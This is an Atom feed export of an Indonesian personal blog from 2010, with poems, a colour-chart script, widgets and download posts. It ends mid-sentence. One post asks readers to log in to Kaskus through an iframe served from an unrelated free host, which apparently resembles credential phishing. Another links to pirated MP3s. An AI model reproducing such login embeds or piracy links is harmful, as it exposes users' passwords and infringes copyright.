menghadap&lt;br /&gt;&lt;br /&gt;Aku ingin kita berbincang sejenak&lt;br /&gt;&lt;br /&gt;Ah, seharusnya aku tahu bahwa Kau seharusnya aku ajak bicara setiap saat&lt;br /&gt;&lt;br /&gt;Tidak hanya di kala aku sedang bodoh seperti ini..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Terkadang manusia begitu angkuhnya&lt;br /&gt;&lt;br /&gt;Merasa paling kuat dari beringin tua sekalipun&lt;br /&gt;&lt;br /&gt;Merasa tak akan lapuk dengan zaman&lt;br /&gt;&lt;br /&gt;Merasa kokoh dan maha ..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maka izinkanlah malam ini aku menangis..&lt;br /&gt;&lt;br /&gt;Menangis di tengah keterpurukanku..&lt;br /&gt;&lt;br /&gt;Menangisi kebodohanku yang tak kunjung habis sumbunya&lt;br /&gt;&lt;br /&gt;Menangisi ketegaranku yang luruh..&lt;br /&gt;&lt;br /&gt;Menangisi keputusanku yang salah..&lt;br /&gt;&lt;br /&gt;Menangisi ketidakberdayaanku..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maka malam ini izinkanlah aku menangis..&lt;br /&gt;&lt;br /&gt;Menangisi bahwa benar aku bukan yang sempurna..&lt;br /&gt;&lt;br /&gt;Menangisi karena aku tak tahan lagi menyimpan getir dalam senyum..&lt;br /&gt;&lt;br /&gt;Menangisi karena tak ada lagi yang bisa aku singgahi..&lt;br /&gt;&lt;br /&gt;Menangisi bahwa ke tempat aku harus berlari pun, aku tak temukan jiwa..&lt;br /&gt;&lt;br /&gt;Menangisi ketersesatan yang tak berakhir..&lt;br /&gt;&lt;br /&gt;Menangisi semua hampa kosong..&lt;br /&gt;&lt;br /&gt;Menangisi karena tak ada seutas tali pun yang bisa diraih dan dipegang ujungnya..&lt;br /&gt;&lt;br /&gt;Menangisi penyesalan penyesalan kosong..&lt;br /&gt;&lt;br /&gt;Menangisi berada di jalan yang salah dan tak bisa berbalik..&lt;br /&gt;&lt;br /&gt;Menangisi karena tak tahu lagi harus berlari kemana untuk sembunyi dan mengambil nafas..&lt;br /&gt;&lt;br /&gt;Menangisi bahwa usahaku untuk mempertahankan apa yang aku pikir baik adalah sia sia..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bahwa dengan sekuat jiwa ragaku aku tak mampu mendaulat apapun untuk bisa menjadi pelita..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tuhan, sibukkah Kau malam ini?&lt;br /&gt;&lt;br /&gt;Ah lagi-lagi aku menganggapMu jauh dariku..&lt;br /&gt;&lt;br /&gt;Bencikah Kau padaku Tuhan?&lt;br /&gt;&lt;br /&gt;Ah terserah jawabMu.. aku toh tak bisa mengubah ketetapanMu..&lt;br /&gt;&lt;br /&gt;Kuharap Kau sedikit beri aku dispensasi untuk bisa memberiku sayangMu lagi..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Boleh aku minta sesuatu?&lt;br /&gt;&lt;br /&gt;Malam ini dan seterusnya beradalah di sampingku, berjanjilah tidak lagi pergi..&lt;br /&gt;&lt;br /&gt;Jangan beri aku mimpi apapun..&lt;br /&gt;&lt;br /&gt;Aku hanya ingin kita berdua saja..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4251168865861395001?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4251168865861395001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4251168865861395001'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/maka-izinkanlah-aku-menangis.html' title='Maka Izinkanlah Aku Menangis,.....'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lcn1O_24jBE/TOHdPO5ZcPI/AAAAAAAAARU/onpUY5g-rRQ/s72-c/l_067381e437a0437ead5d80b99a0bfad2.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8688873663331561362</id><published>2010-11-16T06:42:00.001+07:00</published><updated>2010-11-16T08:54:10.545+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>Ketika Esok kau ingat aku,....</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHkKMpP2DI/AAAAAAAAARY/oDVEHK8z59E/s1600/33668_1478652724153_1168820439_31181094_1856906_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHkKMpP2DI/AAAAAAAAARY/oDVEHK8z59E/s320/33668_1478652724153_1168820439_31181094_1856906_n.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Kurasa kau akan kecewa padaku. Aku tak punya minat yang sama denganmu untuk menghabiskan sisa waktu keliling dunia. Kuakui aku adalah manusia lemah karena tak punya mimpi muluk sepertimu. Tak juga punya ruang yang cukup untuk menampung rumus, ensiklopedi, ilmu baru layaknya otakmu yang selalu berputar tiap detiknya tanpa henti.&lt;br /&gt;&lt;br /&gt;Aku mungkin termasuk orang-orang yang pasrah. Hanya sederhana, sangat sederhana. Maka, aku bertanya padamu, mungkinkah menerimaku yang jauh berbeda denganmu? Jangan kau jawab, Sayang. Nanti..nanti..&lt;span class="fullpost"&gt;    Kurasa kau akan kecewa padaku. Aku tak punya minat yang sama denganmu untuk menghabiskan sisa waktu keliling dunia. Kuakui aku adalah manusia lemah karena tak punya mimpi muluk sepertimu. Tak juga punya ruang yang cukup untuk menampung rumus, ensiklopedi, ilmu baru layaknya otakmu yang selalu berputar tiap detiknya tanpa henti.&lt;br /&gt;&lt;br /&gt;Aku mungkin termasuk orang-orang yang pasrah. Hanya sederhana, sangat sederhana. Maka, aku bertanya padamu, mungkinkah menerimaku yang jauh berbeda denganmu? Jangan kau jawab, Sayang. Nanti..nanti..&lt;br /&gt;&lt;br /&gt;Mungkin saat ini kita punya rel yang berbeda. Tapi entahlah firasatku yakin suatu saat rel itu akan bersinggungan dan bertemu pada satu titik. Hela nafasmu akan seirama dengan hela nafasku. Ritmemu akan seiring dengan hentakan nadiku.&lt;br /&gt;&lt;br /&gt;Lalu berlarilah kau dengan sejuta rencanamu. Rencana rencana hebatmu. Yang aku tahu hanya beberapa dan itulah yang membuatku selalu kagum dan tersenyum padamu. Lalu kau kemari padaku kemudian kau akan berlari lagi..&lt;br /&gt;&lt;br /&gt;Tak apa kau lupa mengirim kabar dan menulis surat padaku. Aku yakin Tuhan memberimu umur panjang. Dan sangat kuat teguhku bahwa kau akan kembali lagi menjumpai aku..&lt;br /&gt;&lt;br /&gt;Berlarilah mengejar layang layangmu yang meliuk membelah angkasa. Berkejaranlah kau dengan kereta yang akan membawamu ke ujung dunia. Berlarilah mengejar pintu gerbang mimpi yang terbuka. Berlarilah kau mengejar bahagiamu saat ini, besok, lusa, nanti, dan di masa depanmu.&lt;br /&gt;&lt;br /&gt;`&lt;br /&gt;&lt;br /&gt;Jangan dulu kau risau tentangku. Seperti janjiku, aku menunggumu di sini, Sayang. Kapan pun kau cari, kau masih ingat tentang tempat ini bukan?&lt;br /&gt;&lt;br /&gt;Seperti ku katakan padamu dahulu. Mimpiku tidak muluk, Sayang. Aku ingin tinggal di rumah sederhana sekitaran kaki Gunung Merapi. Sebuah petak sawah untukku belajar bertani. Satu bukit kecil untukku menyiangi rumput. Sebuah gelas kopi tubruk dan pisang goreng di kala senja menjemput. Lalu bergemalah langgam jawa, yang menyadarkan aku bahwa aku memang bagian dari komunitas ini.   &lt;br /&gt;&lt;br /&gt;Akan lepas semua beban dan kepura-puraanku selama ini.&lt;br /&gt;&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;Ya sayang, aku menantimu di sini. Jika ingatanmu lekat padaku, maka kau akan ingat bahwa inilah mimpi yang selalu membayangiku selama ini. Dan ketika kau kembali menemuiku dan akhiri semua petulanganmu, kemarilah ke sini. Akan aku habiskan waktuku bersamamu hingga tak pernah kau merasa sendiri. Menulislah apa yang ada terbetik dalam pikiranmu, aku menemanimu. Berceritalah padaku, maka aku simak. Menyanyilah.., mungkin kau suka menyanyi? ..&lt;br /&gt;&lt;br /&gt;Semuanya semuanya.., kau lakukan di sini.. Karena inilah perhentian terakhirku, mungkin perhentian terakhirmu juga..&lt;br /&gt;&lt;br /&gt;Hingga berakhirnya waktuku, sungguh aku ingin tenang di sini. Merawatmu dan juga dirawatmu..&lt;br /&gt;&lt;br /&gt;Berjanjilah.., suatu saat kelak jika rodamu berhenti.. Bersua kita di   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8688873663331561362?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8688873663331561362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8688873663331561362'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/ketika-esok-kau-ingat-aku.html' title='Ketika Esok kau ingat aku,....'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lcn1O_24jBE/TOHkKMpP2DI/AAAAAAAAARY/oDVEHK8z59E/s72-c/33668_1478652724153_1168820439_31181094_1856906_n.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6306847580981769864</id><published>2010-11-16T06:10:00.001+07:00</published><updated>2010-11-16T08:19:35.810+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>Ilalang</title><content type='html'>Kawan,&lt;br /&gt;&lt;br /&gt;Pernahkah kau melihat Ilalang di padang lapang?&lt;br /&gt;&lt;br /&gt;Menari kanan kiri, merunduk dan tegak atas bawah&lt;br /&gt;&lt;br /&gt;Ketika angin membelai udara..&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_lcn1O_24jBE/TOHbeFlC61I/AAAAAAAAARM/7N6c1cBjshE/s1600/cc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_lcn1O_24jBE/TOHbeFlC61I/AAAAAAAAARM/7N6c1cBjshE/s1600/cc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Kawan,&lt;br /&gt;&lt;br /&gt;Tidak kah kau cinta dengan ilalang?&lt;br /&gt;&lt;br /&gt;Rerumputan yang sederhana, tak risau jati diri&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHbwM0hIhI/AAAAAAAAARQ/ULW5h4s4p10/s1600/IMG_0568.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHbwM0hIhI/AAAAAAAAARQ/ULW5h4s4p10/s320/IMG_0568.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHbwM0hIhI/AAAAAAAAARQ/ULW5h4s4p10/s1600/IMG_0568.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TOHbwM0hIhI/AAAAAAAAARQ/ULW5h4s4p10/s320/IMG_0568.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Tumbuh sesuai kehendak alam..&lt;span class="fullpost"&gt;   &lt;br /&gt;&lt;br /&gt;Kawan,&lt;br /&gt;&lt;br /&gt;Pernahkah kau melihat Ilalang di padang lapang?&lt;br /&gt;&lt;br /&gt;Menari kanan kiri, merunduk dan tegak atas bawah&lt;br /&gt;&lt;br /&gt;Ketika angin membelai udara..&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Kawan,&lt;br /&gt;&lt;br /&gt;Tidak kah kau cinta dengan ilalang?&lt;br /&gt;&lt;br /&gt;Rerumputan yang sederhana, tak risau jati diri&lt;br /&gt;&lt;br /&gt;Tumbuh sesuai kehendak alam..&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Maka ketika semesta tenang,&lt;br /&gt;&lt;br /&gt;Ilalang itu juga diam&lt;br /&gt;&lt;br /&gt;Ketika langit turunkan hujan,&lt;br /&gt;&lt;br /&gt;Ilalang tahu diri untuk merunduk&lt;br /&gt;&lt;br /&gt;Manakala cerah dan angin menyapanya&lt;br /&gt;&lt;br /&gt;Ilalang bernyanyi dengan nadanya sendiri..&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Ilalang..&lt;br /&gt;&lt;br /&gt;Ketika bimbang akan seimbang&lt;br /&gt;&lt;br /&gt;Ketika galau, tak akan tunjukkan risau&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Dan malam ini kuamati ilalang..,&lt;br /&gt;&lt;br /&gt;Tenang sesekali berayun dengan iramanya&lt;br /&gt;&lt;br /&gt;Istirahat barang beberapa waktu, hela nafas.&lt;br /&gt;&lt;br /&gt;Esok pagi ia akan bertugas lagi dengan eksistensinya yang lirih&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Hadapi hidup, kawan..&lt;br /&gt;&lt;br /&gt;Ilalang itu berbisik padaku..&lt;br /&gt;&lt;br /&gt;Beristirahatlah di sela kencan hidup&lt;br /&gt;&lt;br /&gt;Nyawa pun terkadang lelah&lt;br /&gt;&lt;br /&gt;Tenang-tenang sajalah..&lt;br /&gt;&lt;br /&gt;Terima yang perlu dan bisa kau terima..&lt;br /&gt;&lt;br /&gt;Berdiri tegak lagi ketika kakimu kuat pijak..&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Kawan,&lt;br /&gt;&lt;br /&gt;Pernahkah kau melihat Ilalang di padang lapang?&lt;br /&gt;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;Saat itu kau melihat aku..&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6306847580981769864?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6306847580981769864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6306847580981769864'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/ilalang.html' title='Ilalang'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lcn1O_24jBE/TOHbeFlC61I/AAAAAAAAARM/7N6c1cBjshE/s72-c/cc.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4985977736512011513</id><published>2010-11-15T16:17:00.001+07:00</published><updated>2010-11-16T08:12:15.300+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applikasi'/><title type='text'>kode warna html</title><content type='html'>kode warna html&lt;span class="fullpost"&gt;  &lt;script LANGUAGE="JavaScript"&gt;//Color chart script by Dion (http://members.xoom.com/yoboseyo)//Script featured on JavaScript Kit (http://javascriptkit.com)clr=new Array('00','20','40','60','80','a0','c0','ff');for (i=0;i&lt;8;i++) { document.write("&lt;table border=1 cellpadding=8&gt;");for (j=0;j&lt;8;j++) {document.write("&lt;tr&gt;");for (k=0;k&lt;8;k++) {document.write('&lt;td bgcolor="#'+clr[i]+clr[j]+clr[k]+'"&gt;');document.write('&lt;tt&gt; ');document.write(clr[i]+clr[j]+clr[k]+' &lt;/tt&gt;&lt;/td&gt;'); }document.write("&lt;/tr&gt;"); }document.write("&lt;/table&gt;"); }// end --&gt;&lt;/script&gt;&lt;br /&gt;     &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4985977736512011513?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4985977736512011513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4985977736512011513'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/kode-warna-html.html' title='kode warna html'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-9123338231514211581</id><published>2010-11-13T09:41:00.001+07:00</published><updated>2010-11-15T02:55:02.505+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applikasi'/><title type='text'>NGASKUS DISINI GAN,.....</title><content type='html'>&lt;span class="fullpost"&gt;    tinggal log in ajah gan   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://echooff.site11.com/kaskus-google.html" height="297" width="90%"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-9123338231514211581?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/9123338231514211581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/9123338231514211581'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/ngaskus-disini-gan.html' title='NGASKUS DISINI GAN,.....'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6758300781720980285</id><published>2010-11-10T01:58:00.010+07:00</published><updated>2010-11-10T02:29:14.334+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download mp3'/><title type='text'>mp3 celine dion</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TNmZsJiCNkI/AAAAAAAAAQs/70koiTE12Qk/s1600/images.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TNmZsJiCNkI/AAAAAAAAAQs/70koiTE12Qk/s1600/images.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;    download mp3   &lt;/span&gt; the best celine dion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DISINI&lt;br /&gt;&lt;a href="http://www.4shared.com/file/7lJ0WnVB/Celine_Dion_-_The_Very_Best_Of.html" target="_blank"&gt;&lt;img src="http://i938.photobucket.com/albums/ad227/kaytee_13/Icons/various/Music-1.png" border="0" alt="lagu Pictures, Images and Photos"/&gt;the best 1&lt;/a&gt;&lt;br /&gt;DISINI&lt;br /&gt;&lt;a href="http://www.4shared.com/file/nQVO5ZB-/The_Very_Best_Of_Celine_Dion_-.html" target=_blank&gt;&lt;img src="http://i938.photobucket.com/albums/ad227/kaytee_13/Icons/various/Music-1.png" border="0" alt="lagu Pictures, Images and Photos"/&gt;the best 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6758300781720980285?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6758300781720980285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6758300781720980285'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/love-song-download-best-celine-dion.html' title='mp3 celine dion'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lcn1O_24jBE/TNmZsJiCNkI/AAAAAAAAAQs/70koiTE12Qk/s72-c/images.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-5879200021163841224</id><published>2010-11-08T00:36:00.000+07:00</published><updated>2010-11-08T00:36:20.923+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applikasi'/><title type='text'>CUACA PURWOKERTO</title><content type='html'>&lt;span class="fullpost"&gt;     &lt;blink&gt; update cuaca di purwokerto dan sekitarnya &lt;/blink&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--weather in , purwokerto on your site - html code - weatherforecastmap.com --&gt;&lt;div align="center"&gt;&lt;script src="http://www.weatherforecastmap.com/weather2.php?zona=purwokerto_"&gt;&lt;/script&gt;&lt;a title="Forecast in " href="http://www.weatherforecastmap.com/purwokerto/"&gt; &lt;/a&gt;&lt;/div&gt;&lt;!--end of code--&gt;&lt;!--!-end--&gt;&lt;!--!-weather--&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-5879200021163841224?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5879200021163841224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5879200021163841224'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/cuaca-purwokerto.html' title='CUACA PURWOKERTO'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2514829025089841106</id><published>2010-11-07T05:34:00.001+07:00</published><updated>2010-11-07T05:43:51.875+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IKLAN GRATIS'/><title type='text'>PASANG IKLAN GRATIS DISINI :</title><content type='html'>&lt;span class="fullpost"&gt;  &lt;blink&gt;silahken isi form ini untul memasang iklan gratis di weblog ini&lt;/blink&gt;     &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;form enctype="multipart/form-data" action="http://www.emailmeform.com/fid.php?formid=547099" method="post" charset="UTF-8"&gt;&lt;table bg border="0" cellpadding="2" cellspacing="0" style="color:#ffffff;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#000000;"&gt;&lt;/span&gt; &lt;div id="mainmsg" style=""&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table bg border="0" cellpadding="2" cellspacing="0" style="color:#ffffff;"&gt;&lt;tbody&gt;&lt;tr valign="top"&gt; &lt;td nowrap="nowrap"&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#000000;"&gt;Nama Anda&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;input name="FieldData0" size="30" type="text" /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr valign="top"&gt; &lt;td nowrap="nowrap"&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#000000;"&gt;Alamat E-mail&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;input name="FieldData1" size="30" type="text" /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr valign="top"&gt; &lt;td nowrap="nowrap"&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#000;"&gt;Subject&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;input name="FieldData2" size="30" type="text" /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr valign="top"&gt; &lt;td nowrap="nowrap"&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#000000;"&gt;keterangan barang&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;textarea rows="10" cols="60" name="FieldData3"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt;&lt;table bg cellpadding="5" cellspacing="0" width="100%" style="color:#000;"&gt;&lt;tbody&gt;&lt;tr bg style="color:#000;"&gt;&lt;td colspan="2" class="label"&gt;&lt;span style="font-family:Verdana;font-size:85%;color:#fff;"&gt;&lt;b&gt;gambar Verifikasi&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding: 2px;" class="captcha" width="10"&gt;&lt;img id="captcha" alt="captcha" src="http://www.emailmeform.com/turing.php" /&gt;&lt;/td&gt;&lt;td class="field" valign="top"&gt;&lt;div&gt;&lt;span style="color:#000;"&gt;MASUKAN KODE&lt;/span&gt;:&lt;br /&gt;&lt;input maxlength="100" value="" name="Turing" size="10" type="text" /&gt; [ &lt;a href="http://www.blogger.com/rearrange?blogID=3365296752002810766&amp;amp;action=editWidget&amp;amp;sectionId=main&amp;amp;widgetType=null&amp;amp;widgetId=HTML2#" onclick=" document.getElementById('captcha').src = document.getElementById('captcha').src + '?' + (new Date()).getMilliseconds()"&gt;segarkan&lt;/a&gt; ] [ &lt;a href="http://www.emailmeform.com/?v=turing&amp;amp;pt=popup" onclick="window.open('http://www.emailmeform.com/?v=turing&amp;amp;pt=popup','_blank','width=400, height=500, left=' + (screen.width-450) + ', top=100');return false;"&gt;Apa Ini&lt;/a&gt; ]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;br /&gt;&lt;/td&gt; &lt;td align="right"&gt;&lt;input maxlength="100" style="display: none;" value="" name="hida2" size="3" type="text" /&gt;&lt;input class="btn" value="KIRIM" name="Submit" type="submit" /&gt;    &lt;input class="btn" value="  HAPUS  " name="clear" type="reset" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2" align="center"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/form&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2514829025089841106?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2514829025089841106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2514829025089841106'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/pasang-iklan-gratis-disini.html' title='PASANG IKLAN GRATIS DISINI :'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-5126503270395359568</id><published>2010-11-02T22:25:00.001+07:00</published><updated>2010-11-03T18:06:41.837+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applikasi'/><title type='text'>KIRIM SMS GRATIS</title><content type='html'>SAUDARA-SAUDARA BISA MENGIRIM 